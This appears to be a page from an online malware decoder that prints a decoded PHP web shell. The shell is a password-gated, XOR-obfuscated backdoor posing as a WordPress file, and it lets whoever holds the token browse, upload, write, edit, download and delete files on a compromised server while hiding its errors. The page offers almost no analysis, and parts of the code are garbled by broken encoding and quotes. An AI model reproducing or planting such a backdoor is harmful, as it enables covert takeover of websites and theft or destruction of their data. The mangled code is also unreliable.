Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	 if(isset($_request['abb1b'])&&$_request['abb1b']==="3d3cc96f2bc5ca"){
	@ob_start();
	$_fp="hz56)uP"^"@BȪ]$";
	$_fg="<` #EwZ"^"UD1a.";
	$_mu="~.7B,]ct"^"t[[-M8f";
	$_ul="Mo"^"#";
	$_sd="%43"^"FPZt";
	$_id="drB"^"0";
	$_if="w]/"^";
	J";
	$_fs="hN>k"^"by
u'D";
	$_rp="Ҁ
}
&W'"^"V6O";
$_rf="P@z"^"4&";
$_bn="ňp_"^"a:";
$_hs="YaQDp~D"^"-2%i7";
$_nf="CUܯ[RG"^"ԉ!'ɤ633";
$_er="Y\4ښ"^"y6.Xcd[";
$_is=""[2"^"K5kF";
$_st="&AU	0H"^"tR5<eV\%";
@$_er(0);
@$_is("display_errors","0");
@$_st(0);
@header("content-type:text/html;
charset=utf-8");
@header("x-robots-tag:noindex");
$d=isset($_request["d"])?@$_rp($_request["d"]):@getcwd();
if(!$d)$d=@getcwd();
$q="abb1b=".urlencode("3d3cc96f2bc5ca");
$z="";
	if(!empty($_post["sv"])&&!empty($_post["fp"])&&isset($_post["ct"])){
	@$_fp($_post["fp"],$_post["ct"]);
	$z="+";
}
	if(!empty($_get["rm"])){
	@$_ul($d."/".$_bn($_get["rm"]));
	$z="+";
}
	if(!empty($_post["up"])&&!empty($_files["f"])){
	@$_mu($_files["f"]["tmp_name"],$d."/".$_bn($_files["f"]["name"]));
	$z="+";
}
	if(!empty($_post["b64fn"])&&!empty($_post["b64d"])){
	@$_fp($d."/".$_bn($_post["b64fn"]),base64_decode($_post["b64d"]));
	$z="+";
}
	if(!empty($_get["dl"])){
	$fp=$d."/".$_bn($_get["dl"]);
		if(@$_if($fp)){
		@header("content-type:application/octet-stream");
		@header("content-disposition:attachment;
		filename="".$_bn($fp).""");
		@$_rf($fp);
		@ob_end_flush();
		exit;
	}
}
echo"<!doctype html><html><head><title>wp_12hveo9ycxop</title></head><body><pre>';
if($z)echo'[+] ';
	if(!empty($_get['ed'])&&@$_if($d.'/'.$_bn($_get['ed']))){
	$ef=$d.'/'.$_bn($_get['ed']);
	echo $_hs($_bn($ef))."\n</pre>";
	echo'<form method=post><textarea name=ct rows=20 cols=80>'.$_hs(@$_fg($ef)).'</textarea>';
	echo'<input type=hidden name=fp value="".$_hs($ef)."">';
	echo'<br><input type=submit name=sv value=save><a href="?".$q."&d=".urlencode($d)."">back</a></form>';
}
	else{
	$sp=explode('/',str_replace('\\','/',$d));
	$bp='';
		foreach($sp as $s){
		if(!$s)continue;
		$bp.='/'.$s;
		echo'/<a href="?".$q."&d=".urlencode($bp)."">'.$s.'</a>';
	}
	echo"\n</pre>";
	echo'<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit name=up value=up></form><table>';
	$ls=@$_sd($d);
		if($ls){
		sort($ls);
			foreach($ls as $f){
			if($f==)continue;
			$fp=$d.'/'.$f;
			$id=@$_id($fp);
			$sz=$id?'-':@$_nf(@$_fs($fp));
			echo'<tr><td>'.($id?'[<a href="?".$q."&d=".urlencode($fp)."">'.$f.'</a>]':'<a href="?".$q."&d=".urlencode($d)."&dl=".urlencode($f)."">'.$f.'</a>').'</td><td>'.$sz.'</td><td>';
			if(!$id)echo'<a href="?".$q."&d=".urlencode($d)."&ed=".urlencode($f)."">[e]</a>';
			if($f!='..')echo'<a href="?".$q."&d=".urlencode($d)."&rm=".urlencode($f)."" onclick="return confirm(\"del?\");
			">[x]</a>';
			echo'</td></tr>';
		}
	}
	echo'</table>';
}
echo'</body></html>';
@ob_end_flush();
exit;
}



© 2023 Quttera Ltd. All rights reserved.